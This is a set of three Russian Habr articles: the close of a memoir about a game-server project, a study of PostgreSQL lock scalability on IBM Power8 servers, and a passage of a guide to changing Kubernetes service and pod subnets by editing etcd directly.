Прошло много лет, я поменял работу десяток раз и каждый раз обновляя резюме я заходил на toox.com и с удивлением обнаруживал своё поделие всё ещё в строю. Даже заходил сыграть партию другую. И один раз в Belot мне случайно попался набор карт дающий максимально возможное количество очков. Вероятность выпадения такого набора — один на три миллиона.
Когда-нибудь я соберу волю в горсть и сделаю современный ремейк Logrus-а под C# и Unity3d, например для гексагональной стратегички, о которой мечтаю. Но это будет не сегодня, сегодня я пойду спать. Долг по распространению идей, которые стоят того чтобы их распространять успешно выполнен.
В заключение пара анекдотов
---------------------------
Расположены мы были в новосибирском Академгородке. Арендовали офис в институте. А заказчик француз, с местными нравами совершенно не знакомый. И вот на третий или четвёртый месяц совместной работы приезжает он к нам в гости, знакомиться. Заселился на выходных в местную гостиницу «Золотая Долина» и в понедельник, говорит менеджеру, давай в десять утра встречай меня на такси, поедем с программистами знакомиться. А Вовчик возьми да и приедь в 10. В общем подъезжают они к институту, стучаться в дверь, а с той стороны приходит бабушка вахтёрша и совершенно ничего не понимая на них смотрит из-за закрытой на замок двери. В такую рань ни научных сотрудников, ни арендующих офисы программистов в здании отродясь не бывало. Они её буквально разбудили.
А вот тоже другой случай. Звонит как то наш Себастьян Перейра к менеджеру и говорит, что они тут чудом смогли прорваться в телевизор и скоро нас с нашим сайтом покажут по телевизору. Через 8 часов примерно. Так что вы там сделайте чтобы он работал понадёжнее… На часах 2 января… Не важно какое время… И вот Вовчик берёт такси, начинает по общагам и квартирам собирать программистов совершенно в состоянии размазни, и свозить их в офис. Я в тот день впервые в жизни увидел нашего сисадмина. До этого момента он всё делал исключительно удалённо. И вот мы каждый подкрутили кто что мог. Я, в частности выломал всю эту систему поставив на её место назад пачку if-ов и вот сидим мы, смотрим на график посещаемости и вдруг видим как он начинает переть вверх. Где-то на отметке x15 сервак грохнулся. Но админ сказал, что всё хорошо, упал аккуратно, сейчас сам поднимется. За тот день сервак падал ещё трижды. | https://habr.com/ru/post/526262/ | null | ru | null |
# PostgreSQL на многоядерных серверах Power 8
### Аннотация
При помощи московского представительства компании IBM мы провели тестирование производительности последних версий СУБД PostgreSQL на серверах Power8, изучили масштабируемость зависимость производительности от количества одновременных запросов, нашли узкие места ограничивающие производительность, предложили новые технические решения и добились рекордной производительности.
### Введение
В ряде задач практически неограниченного масштабирования по объему обрабатываемых транзакций можно достичь, используя распределённые системы, в которых тем или иным способом поток транзакций распределяется на большое количество серверов. Такое масштабирование часто называют “горизонтальным”. Однако, универсального распределенного решения не существует, кроме того, распределённость имеет свою цену. Архитектура системы должна заранее проектироваться как распределённая. Распределенные системы менее гибки, чем монолитные, к тому же они сложнее в эксплуатации и требуют более высокой квалификации персонала. Одни задачи легче поддаются распараллеливанию, другие — сложнее. Поэтому спрос на высокопроизводительные монолитные системы существует, и достижение возможно лучших результатов по производительности в рамках одного сервера было и остается важной задачей. Это часто называют “вертикальным масштабированием”.
Сущность проблем, возникающих при параллельной обработке большого количества транзакций в монолитных и распределенных системах, одинакова — это конкуренция между транзакциями за доступ к одним и тем же ресурсам. Говоря просто, отдельные процессы работают параллельно и независимо до тех пор, пока не выстраиваются в очередь к какому-либо общему ресурсу (а это может быть как аппаратный ресурс, так и элемент информации, хранящийся в базе данных) и не начинают ожидать друг друга.
Для решения таких проблем существуют механизмы управления доступом к ресурсам — использование блокировок, а также пригодные в некоторых случаях неблокирующие (lock-free) подходы. Рост производительности этих механизмов, а также детализация блокировок дает возможность снизить издержки, связанные с одновременным (конкурентным) доступом.
При этом, если в распределённых системах узким местом оказывается, как правило, сеть, то в монолитных системах, близких к пиковой производительности, её рост ограничивается именно упомянутыми механизмами управления одновременным доступом.
### Исследования масштабирования PostgreSQL
В 2012 году на конференции PgCon Роберт Хаас из компании EnterpriseDB представил результаты исследований производительности (числа запросов на чтение в секунду) PostgreSQL в зависимости от количества одновременно действующих клиентских сессий (Рис.1). Измерения производились на платформе amd64 с помощью входящего в состав PostgreSQL средства pgbench.
Рис.1. График из доклада Р. Хааса на конференции PgCon, 2012 г., случай для 32 ядер
Прежде чем анализировать этот график, сделаем несколько важных замечаний. Архитектура PostgreSQL такова, что один клиент обслуживается одним однопоточным процессом на сервере, а работа с диском ведется через буфер, находящийся в разделяемой между всеми такими процессами оперативной памяти. Таким образом, с одной стороны, возможна одновременная независимая работа некоторого количества клиентских сессий, однако сами данные, находящиеся в разделяемой памяти (shared memory), являются общим ресурсом, к которому осуществляется конкурентный доступ. Общим ресурсом является и дисковая подсистема, но в данном исследовании работа с ней не рассматривалась. Все данные уже находились в буферах, поэтому проведенные измерения показывают максимально достижимую производительность.
На этом графике рост числа транзакций в секунду (TPS) при увеличении числа клиентов вначале близок к линейному; это означает, что издержки на доступ к общим ресурсам несущественны, при появлении следующего клиента полностью задействуется очередное ядро процессора. Однако при росте конкурентности линейный рост прекращается. Прекращение линейного роста при количестве параллельных сессий, меньшем числа процессорных ядер, говорит о том, что CPU используется неэффективно, и издержки на масштабируемость велики.
Рис.1. показывает, что при переходе от версии 9.1 к 9.2 благодаря совершенствованию механизмов блокировки устойчивый рост производительности стал наблюдаться до как минимум 32 одновременно работающих с CPU клиентов (в тесте была использована 32-ядерная машина, поэтому при дальнейшем увеличении количества клиентов производительность больше не росла). Чуть позже Р. Хаасом были проведены аналогичные измерения на 64-х ядрах (Рис.2). Видно, что близкая к линейной вертикальная масштабируемость сохраняется и при этом количестве ядер.
Рис.2. График из доклада Р. Хааса на конференции PgCon, 2012 г., случай для 64 ядер
Эти графики и стоящие за ними исследования вдохновили нас на то, чтобы посмотреть, как поведет себя PostgreSQL современных версий на современных многопроцессорных серверах. Этим заинтересовалась компания IBM, поставляющая такие сервера на платформе Power (бизнес, связанный с x86-серверами, IBM уступила Lenovo в 2014 г. вслед за ПК). Вот что из этого вышло.
### Наши исследования
В феврале 2015 года наиболее известные российские разработчики PostgreSQL [основали](http://gov.cnews.ru/news/top/osnovatel_envizhn_investiroval_v) компанию “Постгрес Профессиональный” (Postgres Professional), целью которой стало развитие СУБД PostgreSQL и оказание полного спектра связанных с ней услуг. Создание компании позволило в несколько раз увеличить объем работ по разработке PostgreSQL в России, дало возможность проводить прикладные исследования и вступать в партнерские отношения с производителями программного обеспечения и аппаратных средств. Компания Postgres Professional с самого начала проявила интерес к партнерству с IBM и вошла с партнерскую сеть IBM PartnerWorld. В мае 2015 г. Москву посетила Терри Вирниг (Terri Virnig), вице-президент IBM по экосистеме и стратегии Power, которая подтвердила высокую степень заинтересованности IBM в PostgreSQL и его адаптации для достижения максимальной производительности на платформе Power.
В рамках партнерских отношений, в августе 2015 г. в клиентском центре IBM в Пoкипсии (Poughkeepsie, NY) для тестирования PostgreSQL был выделен сервер IBM E880 в конфигурации с 2 узлами, каждый узел содержал по 4 восьмиядерных процессора с технологией SMT (simultaneous multithreading), каждое ядро позволяет получить до 8 потоков. Таким образом, эта конфигурация обеспечивает до 2\*4\*8\*8=512 потоков исполнения (или в терминологии IBM “Logical CPU”, LCPU). Важно заметить, что реализация SMT в IBM Power 8 отличается от ее реализации в процессорах Intel (известной как Hyperthreading), и в отличие от последней дает заметный, до двукратного, прирост производительности на задачах СУБД PostgreSQL. Количеством потоков (LCPU) можно управлять, устанавливая их число равным 1, 2, 4 или 8 на ядро CPU. Техника тестирования была предварительно отработана на менее мощных серверах в Москве. Тесты, как и у Р. Хааса, проводились при помощи входящей в состав PostgreSQL утилиты pgbench.
Сценарий тестирования представлял собой запросы на поиск по B-tree индексу, целиком помещенному в память. Сервер PostgreSQL запускался на большом LPAR, и при помощи встроенных в ядро Linux средств в условиях NUMA-архитектуры закреплялся на определенном количестве numa-нод. Успешность теста заключалась в достижении как можно бо́льшего количества транзакций в секунду (TPS).
Первый же запуск показал, что при добавлении большего количества ядер производительность не растет, а даже падает.
Рис.3. Производительность в зависимости от числа клиентов, для различного числа LCPU
Для того, чтобы понять, почему при добавлении LCPU производительность падала, нужно представить себе устройство сервера IBM E880. В нём есть две материнские платы, на каждой из которых расположено по 4 процессора. Между собой материнские платы связаны гиперконнектом. Более детально про внутреннее устройство серверов на IBM Power 8 можно почитать в [цикле статей от IBM](http://ieeexplore.ieee.org/xpl/tocresult.jsp?isnumber=7029148&punumber=5288520). Гиперконнект, хоть и очень быстрый, но оказался предсказуемо медленнее, чем взаимодействие процессоров, находящихся на одной материнской плате. И это будет заметно не только в PostgreSQL, но и в любой другой системе, где процессы взаимодействуют через общую память. Поэтому в дальнейших исследованиях, в узких местах, мы исключали влияние гиперконнекта и использовали один вычислительный узел, т.е. 256 LCPU при SMT = 8.
Вначале был испытан последний на момент тестирования официальный релиз PostgreSQL (версия 9.4.5), который показал линейное масштабирование только до 32 клиентов, затем — текущие версии из веток 9.5 и 9.6, на которых рост, близкий к линейному, продолжался до 64 клиентов.
Рис.4. Производительность в зависимости от числа потоков
В версии 9.5 видно улучшение по сравнению с версией 9.4, которое можно объяснить оптимизацией механизмов LWLock (будет пояснено ниже).
Итак, измерения были проведены. Но мы решили не останавливаться на этом, а продвинуться дальше — попытавшись понять, есть ли возможность, обнаружив узкое место в коде, устранить его и достичь лучшего результата. Для поиска узких мест была использована утилита perf, которая показала, что около 32% процессорного времени занимает выполнение функции s\_lock (Рис.5).
```
32.10% postgres [.] s_lock
7.77% postgres [.] GetSnapshotData
2.64% postgres [.] AllocSetAlloc
1.40% postgres [.] hash_search_with_hash_value
1.37% postgres [.] base_yyparse
1.36% postgres [.] SearchCatCache
1.32% postgres [.] PinBuffer
1.23% postgres [.] LWLockAcquire
1.05% postgres [.] palloc
1.01% postgres [.] ReadBuffer_common
0.99% postgres [.] LWLockRelease
0.94% libc-2.17.so [.] __memset_power7
```
Рис.5. Пример вывода perf top во время тестирования
Чтобы идентифицировать места в программном коде PostgreSQL, ответственные за вызов s\_lock, был использован отладчик gdb (производительность однопоточного perf для построение графа зависимостей оказалась недостаточной). Выборочные подключения gdb показали, что в большинстве случаев вызов s\_lock происходит из функций PinBuffer и UnpinBuffer, служащих для увеличения и уменьшения счетчика ссылок на буфер, в котором хранится определённый блок данных. Счётчик ссылок защищён спинлоком BufferDesc.buf\_hdr\_lock, и поэтому для работы с ним нужно предварительно захватить данный спинлок. Чтобы лучше понять это место, давайте рассмотрим, какие виды блокировок есть в PostgreSQL, и зачем они нужны.
### Блокировки в PostgreSQL: какие и зачем столько разных?
В PostgreSQL реализовано несколько типов блокировок, каждый из которых решает свои задачи.
1. [Spinlock](https://en.wikipedia.org/wiki/Spinlock) (спинлок) – самый простой тип блокировок, который имеет только два состояния “занято” и “свободно”. Процедура взятия спинлока состоит из последовательных попыток поменять сменить его состояние со “свободно” на “занято”. Для того, чтобы избежать [гонок](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%B3%D0%BE%D0%BD%D0%BA%D0%B8), спинлоки использую атомарную операцию [Test-and-set](https://en.wikipedia.org/wiki/Test-and-set) (TAS). Процессы, желающие получить спинлок не выстраиваются в очередь. Со стороны СУБД не поддерживается ни мониторинг спинлоков, ни автоматическое определение deadlock’ов на спинлоках. Всем этим было пожертвовано ради высокой производительности на очень коротких операциях. PostgreSQL содержит ассемблерные реализации спинлоков под различные аппаратные платформы. В случае когда ассемблерная реализация спинлоков отсутствует, используется эмуляция спинлоков через UNIX семафоры, которые, однако, имеют куда меньшую производительность.
2. Lightweight lock (LWLock) – более сложный тип блокировок, который имеет два уровня shared и exclusive. Одновременно может быть взято или неограниченное число shared блокировок, или только одна exclusive. Реализация LWLock претерпела существенные изменения между версиями PostgreSQL 9.4 и 9.5. В версиях 9.4 и ниже LWLock содержал в себе набор полей, защищённых спинлоком. Начиная с версии 9.5 большая часть операций с LWLock’ом осуществляется минуя спинлок, с помощью атомарных операций с “переменной состояния” LWLock’а. Процессы, желающие получить LWLock выстраиваются в очередь, благодаря чему при длительном ожидании LWLock’а ресурс шины не расходуется зря. Автоматическое определение deadlock’ов для LWLock’ов не поддерживается, алгоритмы СУБД выверены таким образом, чтобы deadlock’и никогда не возникали. Работу по поддержке мониторинга LWLock’ов ведёт сотрудник Postgres Professional, Ильдус Курбангалиев (aka [ildus](http://habrahabr.ru/users/ildus/)) в рамках более общей задачи мониторинга событий ожидания.
3. Heavyweight lock (HWLock) – наиболее “продвинутый” тип блокировок. Имеет [много уровней и нетривиальную матрицу конфликтов](http://www.postgresql.org/docs/current/static/explicit-locking.html). На таблицы индексы и другие объекты БД, HWLock’и устанавливаются, как неявно теми SQL-командами, которые их используют, так и явно командой LOCK. Для мониторинга HWLock’ов предназначено системное представление [pg\_locks](http://www.postgresql.org/docs/current/static/view-pg-locks.html). Как следует из названия, HWLock’и – это довольно тяжеловесный механизм, поэтому для их получения DML-командами, предусмотрен специальный механизм fastpath locking. Кроме этого, поскольку порядок получения HWLock’ов зависит от действий пользователя, нельзя гарантировать отсутствие deadlock’ов, поэтому в PostgreSQL реализован механизм автоматического обнаружения deadlock’ов.
Помимо вышеперечисленных блокировок, в PostgreSQL присутствуют row-level locks, predicate locks, advisory locks и другие, которые, в свою очередь, реализованы с использованием перечисленных выше трёх базовых типов блокировок.
### Как мы ускорили PostgreSQL
Чтобы понять, получится ли повысить производительность в обнаруженном нами узком месте, мы, совместно с ведущим разработчиком PostgreSQL Андресом Фройндом (Andres Freund), разработали патч, заменяющий спинлок buf\_hdr\_lock на атомарные операции с “состоянием” буфера. Таким образом, разработанный патч реализует для буферов оптимизацию аналогичную той, что была сделана для LWLock’ов в версии 9.5: функция PinBuffer стала выполнять операцию [Compare and Swap](https://en.wikipedia.org/wiki/Compare-and-swap) (CAS) в цикле, а функция UnpinBuffer – атомарный декремент. Это позволило продлить область роста, близкого к линейному, примерно в 2 раза и достичь производительности более 800 тысяч TPS (Рис.6).
Рис.6. Результаты измерения производительности разработанного патча.
Однако, на этом мы тоже не остановились. Если посмотреть на ассемблерную реализацию операции CAS под power8, то можно увидеть, что она представляет собой цикл (Рис. 7).
```
# Входные параметры:
# r3 – старое значение, r4 – новое значение
# r5 – адрес атомарной переменной
.L1: lwarx 9,0,5
cmpw 0,9,3
bne- 0,.L2
stwcx. 4,0,5
bne- 0,.L1
.L2: isync
```
Рис 7. Реализация атомарной операции CAS на ассемблере Power 8.
Таким образом, выполнение операции CAS в цикле – это цикл в цикле. При большой конкуренции за изменение значения, это может быть заметно медленнее, чем выполнение одинарного цикла.
Если посмотреть на ассемблерную реализацию операции атомарного инкремента, то можно видеть, что она также представляет собой аналогичный цикл, но внутри которого находится уже команда add.
```
# Входные параметры:
# r3 – инкремент
# r5 – адрес атомарной переменной
.L1: lwarx 9,0,5
add 9,9,3
stwcx. 9,0,5
bne- 0,.L1
isync
```
Рис 8. Реализация атомарной операции атомарного инкремента на ассемблере Power 8.
Очевидно, что между командами [lwarx и stwcx](https://www-01.ibm.com/support/knowledgecenter/ssw_aix_61/com.ibm.aix.alangref/idalangref_lwarx_lwri_instrs.htm) могут располагаться и более сложные вычисления.
Исходя их этого родилось две идеи для дальнейших оптимизаций.
1. Реализовать критичные по производительности функции, таких как PinBuffer и LWLockAttemptLock с помощью ассемблерных вставок. Минусом данного варианта является то, что мы выходим за уровень абстракции в виде атомарных операций, который предоставляет нам компилятор.
2. Альтернативная идея состоит в том, чтобы использовать атомарный инкремент и реализовать так называемый “оптимистичный подход”. В PinBuffer и LWLockAttemptLock можно делать атомарный инкремент “переменной состояния”, а затем, уже по фактически установленному значению, проверить, имели мы право на такое изменение состояния или нет. В случае, если мы не имели право изменять состояние таким образом, отменить это изменение операции атомарного инкремента. Расчёт здесь делается на то, что отменять изменения придётся лишь в очень небольшой доле случаев, в этом и заключается “оптимизм” подхода. Разумеется, все остальные функции, которые работают с “переменной состояния”, должны также учитывать это.
Обе изложенные идеи были реализованы в виде патчей. При этом версия с атомарным инкрементом была проверена в нескольких вариантах, чтобы можно было оценить отдельно эффект по применения данного подхода к PinBuffer и к LWLockAttemptLock.
Рис.9. Результаты измерения производительности различных патчей.
На графике (Рис. 9) показано сравнение производительности следующих патчей:
1. pinunpin-cas – PinBuffer выполняется с помощью цикла CAS операций.
2. pinunpin-increment – PinBuffer выполняется с помощью “оптимистичного” атомарного инкремента.
3. pinunpin-cas-lwlock-increment – PinBuffer выполняется с помощью цикла CAS операций, LWLockAttemptLock выполняется с помощью “оптимистичного” атомарного инкремента.
4. pinunpin-lwlock-increment – PinBuffer и LWLockAttemptLock выполняются с помощью “оптимистичного” атомарного инкремента.
5. pinunpin-lwlock-asm – PinBuffer и LWLockAttemptLock реализованы на ассемблере.
Видно, что эффекта от “оптимистичного” атомарного инкремента в PinBuffer почти нет, зато применение того же подхода к LWLockAttemptLock даёт очень большой эффект. И примерно такой же эффект можно получить с помощью ассемблерный оптимизаций.
На Рис.10 показана изменившаяся картина perf top после применения патча. Видно, что узкое место переместилось в функцию GetSnapshotData, которую, возможно, тоже удастся ускорить. Но выделенное нам для тестирования время на этом закончилось и лучших результатов показать не удалось. Однако и достигнутые результаты имеют большую ценность, т.к. был достигнут существенный прирост в производительности.
```
13.75% postgres [.] GetSnapshotData
4.88% postgres [.] AllocSetAlloc
2.47% postgres [.] LWLockAcquire
2.11% postgres [.] hash_search_with_hash_value
2.02% postgres [.] SearchCatCache
2.00% postgres [.] palloc
1.81% postgres [.] base_yyparse
1.69% libc-2.17.so [.] __memset_power7
1.63% postgres [.] LWLockRelease
1.56% libc-2.17.so [.] __memcpy_power7
1.33% postgres [.] _bt_compare
0.99% postgres [.] core_yylex
0.99% postgres [.] expression_tree_walker
```
Рис.10 Пример вывода perf top во время тестирования после применения экспериментального патча pinunpin-lwlock-asm.
Следует заметить, что не только наша команда занимается вертикальной масштабируемостью постгреса. Общее направление в сторону более экономичного использования блокировок существует, об этом, в частности, рассказывалось на октябрьской конференции [pgconf.eu](http://2015.pgconf.eu/) в [докладе](http://www.anarazel.de/talks/pgconf-eu-2015-10-30/concurrency.pdf) Андреса Фройнда). В том числе, как было уже упомянуто, в версию 9.5 вошли оптимизации LWLock’ов.
### Выводы
В экспериментальном режиме была произведена замена системы низкоуровневых блокировок в PostgreSQL, что позволило примерно вдвое увеличить масштабируемость по количеству процессорных ядер и тем самым повысить пригодность PostgreSQL для эффективного использования на очень больших серверах Power 8.
Были протестированы патчи, содержащие в себе оптимизации критических участков кода, используемых в блокировках и менеджере буферов, как на ассемблере, так и с помощью атомарных операций, предоставляемых компилятором. Результаты показали, что при использовании атомарных операций на более высоком уровне абстракции, удаётся достичь почти такого же уровня производительности, как и при использовании ассемблерных вставок.
OpenSource IBM Advanced Toolchain (которая по сути является версией gcc с оптимизированными под PPC runtime-библиотеками ) показал большую производительность, чем ванильный gcc и рекомендуется для сборки. XLC под linux имеет пока не решенные проблемы с PostgreSQL и не рекомендуется.
PostgreSQL показал уверенную работу в LPAR. Hardware partitioning при помощи PowerVM оказался мощной и удобной системой виртуализации, при помощи которой можно наращивать производительность отдельного LPAR и находящегося внутри него сервера PostgreSQL.
SMT в Power8 может дать более чем двукратный прирост производительности на задачах, аналогичных тем, на которой производилось наше тестирование.
Последний патч на asm позволил достичь суммарной производительности более 2 млн транзакций в секунду на 48 ядер Power8. Достигнуто это было на двух экземплярах PostgreSQL запущенных одновременно на разных вычислительных узлах.
На практике это означает, что вам не придется задумываться о том, насколько PostgreSQL масштабируется по ядрам до тех пор, пока вы не достигнете производительности в 1млн транзакций в секунду на топовом железе, или не уткнетесь в часто используемую страницу памяти (например, верхушку B-дерева). Как правило, наши клиенты с > 100 физических ядер не испытывают проблем с масштабированием PostgreSQL и описанных здесь эффектов не чувствуют.
### Благодарности
Данное исследование было проведено в рамках деятельности российского вендора PostgreSQL — компании Postgres Professional, участника программы IBM Partner World. Авторы благодарят московское отделение IBM и лично Дениса Сосновцева и Александра Лунякова за проявленный интерес к исследованиям Postgres Professional и содействие в получении доступа к технике для тестирования, и Ивана Гончарова за ценные консультации по её использованию, а также вице-президента IBM Терри Вирниг за поддержку и персонал клиентского центра IBM в Пукипси и Кембриджского инновационного центра IBM за организацию тестирования.
Также мне хотелось бы поблагодарить моих соавторов — сотрудников Postgres Professional Дмитрия Васильева (aka [vadv](http://habrahabr.ru/users/vadv/)), который непосредственно прогонял тесты и написал значительную часть данной статьи, и Юрия Журавлёва (aka [stalkerg](http://habrahabr.ru/users/stalkerg/)), который разработал первоначальную версию патча для перевода PinBuffer/UnpinBuffer на атомарные операции. | https://habr.com/ru/post/270827/ | null | ru | null |
# Наш опыт работы с данными в etcd Kubernetes-кластера напрямую (без K8s API)
Все чаще к нам обращаются клиенты с просьбой обеспечить доступ в Kubernetes-кластер для возможности обращения к сервисам внутри кластера: чтобы можно было напрямую подключиться к какой-то базе данных или сервису, для связи локального приложения с приложениями внутри кластера…
Например, возникает потребность подключиться со своей локальной машины к сервису `memcached.staging.svc.cluster.local`. Мы предоставляем такую возможность с помощью VPN внутри кластера, к которому подключается клиент. Для этого анонсируем подсети pod'ов, сервисов и push'им кластерные DNS клиенту. Таким образом, когда клиент пытается подключиться к сервису `memcached.staging.svc.cluster.local`, запрос уходит в DNS кластера и в ответ получает адрес данного сервиса из сервисной сети кластера или адрес pod'а.
K8s-кластеры мы настраиваем с помощью kubeadm, где по умолчанию сервисная подсеть — `192.168.0.0/16`, а сеть pod'ов — `10.244.0.0/16`. Обычно всё хорошо работает, но есть пара моментов:
* Подсеть `192.168.*.*` часто используется в офисных сетях клиентов, а еще чаще — в домашних сетях разработчиков. И тогда у нас получаются конфликты: домашние роутеры работают в этой подсети и VPN push'ит эти подсети из кластера клиенту.
* У нас есть несколько кластеров (кластеры production, stage и/или несколько dev-кластеров). Тогда во всех них по умолчанию будут одинаковые подсети для pod'ов и сервисов, что создает большие сложности для одновременной работы с сервисами в нескольких кластерах.
Мы уже довольно давно приняли практику использования различных подсетей для сервисов и pod'ов в рамках одного проекта — в общем, чтобы все кластеры были с разными сетями. Однако есть большое количество кластеров в работе, которые не хотелось бы перекатывать с нуля, так как в них запущены многие сервисы, stateful-приложения и т.п.
И тогда мы задались вопросом: как бы поменять подсеть в существующем кластере?
Поиск решений
-------------
Наиболее распространенная практика — пересоздать **все** сервисы с типом ClusterIP. Как вариант, [могут посоветовать](https://www.devops.buzz/public/kubeadm/change-servicesubnet-cidr) и такое:
> The following process has a problem: after everything configured, the pods come up with the old IP as a DNS nameserver in /etc/resolv.conf.
>
> Since I still did not find the solution, i had to reset the entire cluster with kubeadm reset and init it again.
Но не всем это подходит… Вот более детальные вводные для нашего случая:
* Используется Flannel;
* Есть кластера как в облаках, так и на железе;
* Хотелось бы избежать повторного деплоя всех сервисов в кластере;
* Есть потребность вообще сделать всё с минимальным количеством проблем;
* Версия Kubernetes — 1.16.6 (впрочем, дальнейшие действия будут аналогичны и для других версий);
* Основная задача сводится к тому, чтобы в кластере, развернутом с помощью kubeadm с сервисной подсетью `192.168.0.0/16`, заменить её на `172.24.0.0/16`.
И так уж совпало, что нам давно было интересно посмотреть, что и как в Kubernetes хранится в etcd, что вообще с этим можно сделать… Вот и подумали: «**Почему бы просто не обновить данные в etcd, заменив старые IP-адреса (подсеть) на новые**?»
Поискав готовые инструменты для работы с данными в etcd, мы не нашли ничего полностью решающего поставленную задачу. *(Кстати, если вы знаете о любых утилитах для работы с данными напрямую в etcd — будем признательны за ссылки.)* Однако хорошей отправной точкой стала [**etcdhelper** от OpenShift](https://github.com/openshift/origin/tree/master/tools/etcdhelper) *(спасибо его авторам!)*.
Эта утилита умеет подключаться к etcd с помощью сертификатов и читать оттуда данные с помощью команд `ls`, `get`, `dump`.
### Дописываем etcdhelper
Следующая мысль закономерна: «Что мешает дописать эту утилиту, добавив возможность записи данных в etcd?»
Она воплотилась в модифицированную версию etcdhelper с двумя новыми функциями `changeServiceCIDR` и `changePodCIDR`. На её **код можно посмотреть [здесь](https://github.com/flant/examples/blob/master/2020/04-etcdhelper)**.
Что делают новые функции? Алгоритм `changeServiceCIDR`:
* создаем десериализатор;
* компилируем регулярное выражение для замены CIDR;
* проходим по всем сервисам с типом ClusterIP в кластере:
+ декодируем значение из etcd в Go-объект;
+ с помощью регулярного выражения заменяем первые два байта адреса;
+ присваиваем сервису IP-адрес из новой подсети;
+ создаем сериализатор, преобразуем Go-объект в protobuf, записываем новые данные в etcd.
Функция `changePodCIDR` по сути аналогична `changeServiceCIDR` — только вместо редактирования спецификации сервисов мы делаем это для узла и меняем `.spec.PodCIDR` на новую подсеть.
Практика
--------
### Смена serviceCIDR
План по реализации поставленной задачи — очень простой, но подразумевает даунтайм на момент пересоздания всех pod'ов в кластере. После описания основных шагов мы также поделимся мыслями, как в теории можно минимизировать этот простой.
Подготовительные действия:
* установка необходимого ПО и сборка пропатченного etcdhelper;
* бэкап etcd и `/etc/kubernetes`.
Краткий план действий по смене serviceCIDR:
* изменение манифестов apiserver'а и controller-manager'а;
* перевыпуск сертификатов;
* изменение ClusterIP сервисов в etcd;
* рестарт всех pod'ов в кластере.
Далее представлена полная последовательность действий в деталях.
1. Устанавливаем etcd-client для дампа данных:
```
apt install etcd-client
```
2. Собираем etcdhelper:
* Ставим golang:
```
GOPATH=/root/golang
mkdir -p $GOPATH/local
curl -sSL https://dl.google.com/go/go1.14.1.linux-amd64.tar.gz | tar -xzvC $GOPATH/local
echo "export GOPATH=\"$GOPATH\"" >> ~/.bashrc
echo 'export GOROOT="$GOPATH/local/go"' >> ~/.bashrc
echo 'export PATH="$PATH:$GOPATH/local/go/bin"' >> ~/.bashrc
```
* Сохраняем себе `etcdhelper.go`, загружаем зависимости, собираем:
```
wget https://raw.githubusercontent.com/flant/examples/master/2020/04-etcdhelper/etcdhelper.go
go get go.etcd.io/etcd/clientv3 k8s.io/kubectl/pkg/scheme k8s.io/apimachinery/pkg/runtime
go build -o etcdhelper etcdhelper.go
```
3. Делаем бэкап etcd:
```
backup_dir=/root/backup
mkdir ${backup_dir}
cp -rL /etc/kubernetes ${backup_dir}
ETCDCTL_API=3 etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --endpoints https://192.168.199.100:2379 snapshot save ${backup_dir}/etcd.snapshot
```
4. Меняем сервисную подсеть в манифестах Kubernetes control plane. В файлах `/etc/kubernetes/manifests/kube-apiserver.yaml` и `/etc/kubernetes/manifests/kube-controller-manager.yaml` изменяем параметр `--service-cluster-ip-range` на новую подсеть: `172.24.0.0/16` вместо `192.168.0.0/16`.
5. Поскольку мы меняем сервисную подсеть, на которую kubeadm выпускает сертификаты для apiserver’а (в том числе), их необходимо перевыпустить:
1. Посмотрим, на какие домены и IP-адреса выпущен текущий сертификат:
```
openssl x509 -noout -ext subjectAltName
```
2. Подготовим минимальный конфиг для kubeadm:
```
cat kubeadm-config.yaml
apiVersion: kubeadm.k8s.io/v1beta1
kind: ClusterConfiguration
networking:
podSubnet: "10.244.0.0/16"
serviceSubnet: "172.24.0.0/16"
apiServer:
certSANs:
- "192.168.199.100" # IP-адрес мастер узла
```
3. Удалим старые crt и key, так как без этого новый сертификат не выпустится:
```
rm /etc/kubernetes/pki/apiserver.{key,crt}
```
4. Перевыпустим сертификаты для API-сервера:
```
kubeadm init phase certs apiserver --config=kubeadm-config.yaml
```
5. Проверим, что сертификат выпустился для новой подсети:
```
openssl x509 -noout -ext subjectAltName
```
6. После перевыпуска сертификата API-сервера перезапустим его контейнер:
```
docker ps | grep k8s_kube-apiserver | awk '{print $1}' | xargs docker restart
```
7. Перегенерируем конфиг для `admin.conf`:
```
kubeadm alpha certs renew admin.conf
```
8. Отредактируем данные в etcd:
```
./etcdhelper -cacert /etc/kubernetes/pki/etcd/ca.crt -cert /etc/kubernetes/pki/etcd/server.crt -key /etc/kubernetes/pki/etcd/server.key -endpoint https://127.0.0.1:2379 change-service-cidr 172.24.0.0/16
```
**Внимание!** В этот момент в кластере перестает работать резолвинг доменов, так как в уже существующих pod'ах в `/etc/resolv.conf` прописан старый адрес CoreDNS (kube-dns), а kube-proxy изменил правила iptables со старой подсети на новую. Далее в статье написано о возможных вариантах минимизировать простой.
9. Поправим ConfigMap'ы в пространстве имен `kube-system`:
```
kubectl -n kube-system edit cm kubelet-config-1.16
```
— здесь заменим `clusterDNS` на новый IP-адрес сервиса kube-dns: `kubectl -n kube-system get svc kube-dns`.
```
kubectl -n kube-system edit cm kubeadm-config
```
— исправим `data.ClusterConfiguration.networking.serviceSubnet` на новую подсеть.
10. Так как изменился адрес kube-dns, необходимо обновить конфиг kubelet на всех узлах:
```
kubeadm upgrade node phase kubelet-config && systemctl restart kubelet
```
11. Осталось перезапустить все pod'ы в кластере:
```
kubectl get pods --no-headers=true --all-namespaces |sed -r 's/(\S+)\s+(\S+).*/kubectl --namespace \1 delete pod \2/e'
```
### Минимизация простоя
Мысли, как можно минимизировать даунтайм:
1. После изменений манифестов control plane’а создать новый сервис kube-dns, к примеру, с названием `kube-dns-tmp` и новым адресом `172.24.0.10`.
2. Сделать `if` в etcdhelper, который не будет модифицировать сервис kube-dns.
3. Заменить во всех kubelet'ах адрес `ClusterDNS` на новый, при этом старый сервис продолжит работать одновременно с новым.
4. Дождаться, пока pod'ы с приложениями перекатятся либо сами по естественным причинам, либо в согласованное время.
5. Удалить сервис `kube-dns-tmp` и поменять `serviceSubnetCIDR` для сервиса kube-dns.
Этот план позволит минимизировать даунтайм до ~минуты — на время удаления сервиса `kube-dns-tmp` и замены подсети для сервиса `kube-dns`.
### Модификация podNetwork
Заодно мы решили посмотреть, как модифицировать podNetwork с помощью получившегося etcdhelper'а. Последовательность действий получается следующей:
* исправляем конфиги в `kube-system`;
* исправляем манифест kube-controller-manager'а;
* изменяем podCIDR напрямую в etcd;
